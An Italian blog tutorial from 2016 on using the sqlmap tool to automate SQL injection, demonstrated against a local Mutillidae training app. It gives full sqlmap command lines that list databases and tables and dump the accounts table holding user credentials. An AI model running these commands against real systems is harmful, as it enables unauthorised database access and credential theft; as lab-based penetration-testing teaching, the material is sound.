Automatizzare gli attacchi SQL Injection con Sqlmap

Tempo di lettura: 6 minuti
Data pubblicazione: November 7, 2016

Sqlmap è un software di penetration testing open source utilizzato per automatizzare la ricerca di bug e SQL injection all’interno di applicazioni web. Con Sqlmap è possibile trovare la vulnerabilità, sfruttarla e connettersi al database appena violato per vedere, modificare o eliminare le tabelle. Supporta sei tipi di tecniche di SQL injection:

  • Boolean-based blind:;
  • time-based blind;
  • error-based;
  • Union query-based;
  • Stacked queries;
  • Out-of-band.

I test che può effettuare possono sfruttare i parametri GET, POST, i valori HTTP Cookie, User-Agent e HTTP Referer.

Il software si trova su Github ed è scaricabile da questo indirizzo. Dopo averlo scaricato e installato, per avere l’help digito

┌─[mrtouch@parrot]─[~]
└──╼ $sqlmap -h
Help di Sqlmap
Help di Sqlmap

I comandi di questo software sono moltissimi, specialmente se digitiamo sqlmap -hh. Visto che spiegarli uno ad uno non servirebbe poi a molto, effettuerò alcuni esempi pratici.

Richiesta POST vulnerabile e ricerca nel Database

Le SQL injection nelle richieste POST e GET sono solitamente le più diffuse e vulnerabili. Una pagina vulnerabile potrebbe essere ad esempio quella di login, che, se non gestita adeguatamente, potrebbe rilevare tutti gli utenti e le loro password.

sqlmapuserinfopage
sqlmapuserinfopage

Per testare una pagina con richieste POST, il comando da digitare è

sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details" -v 3 --dbs

Dove:

  1. -u indica l’URL da colpire;
  2. –data sono i dati che sqlmap invia al database per provare ad autenticarsi. Nell’immagine precedente li ho evidenziati in blue, e sono rispettivamente il campo dell’username, della password e del pulsante Invio;
  3. -v indica la verbosità, ossia quanto dovrà essere prolisso l’output (spazia da 0 a 6);
  4. –dbs se è vulnerabile cerca di database all’interno del server.
Lista dei database presenti
Lista dei database presenti

Essendo l’applicazione vulnerabile, sqlmap ha trovato la vulnerabilità nel campo username e successivamente mi ha stampato i database presenti in MySql. Se invece volessi ricevere tutte le tabelle dei database, il comando è

sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details" -v 3 --tables

In modo meno evidente, potrei voler vedere solo le tabelle di uno specifico database. In questo caso il comando è

sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details" -v 3 --tables -D nowasp
Lista delle tabelle presenti
Lista delle tabelle presenti

Possiamo notare che è una cartella accounts, che sicuramente conterrà i dati di login delle persone registrate. Per vedere la tabella il comando è

sqlmap -u http://127.0.0.1/index.php?page=user-info.php --data="username=HACK&password=HACK&user-info-php-submit-button=View+Account+Details" -v 3 -D nowasp -T accounts --dump
Tutti gli account nel database di Mutillidae
Tutti gli account nel database di Mutillidae

Conclusioni

Ovviamente per avere i database l’applicazione web deve essere vulnerabile a un certo tipo di SQL Injection, altrimenti non otterrete nulla. Sqlmap è utilissimo quando avete una richiesta e non volete provare tutti i tipi di vulnerabilità SQL in modo manuale, ma basterà impostare i comandi giusti e lasciarlo lavorare. Per chi volesse capire meglio altri comandi consiglio questo video (in cui viene spiegato come iniettare partendo dall’header di una richiesta con BurpSuite) e la guida ufficiale su Github.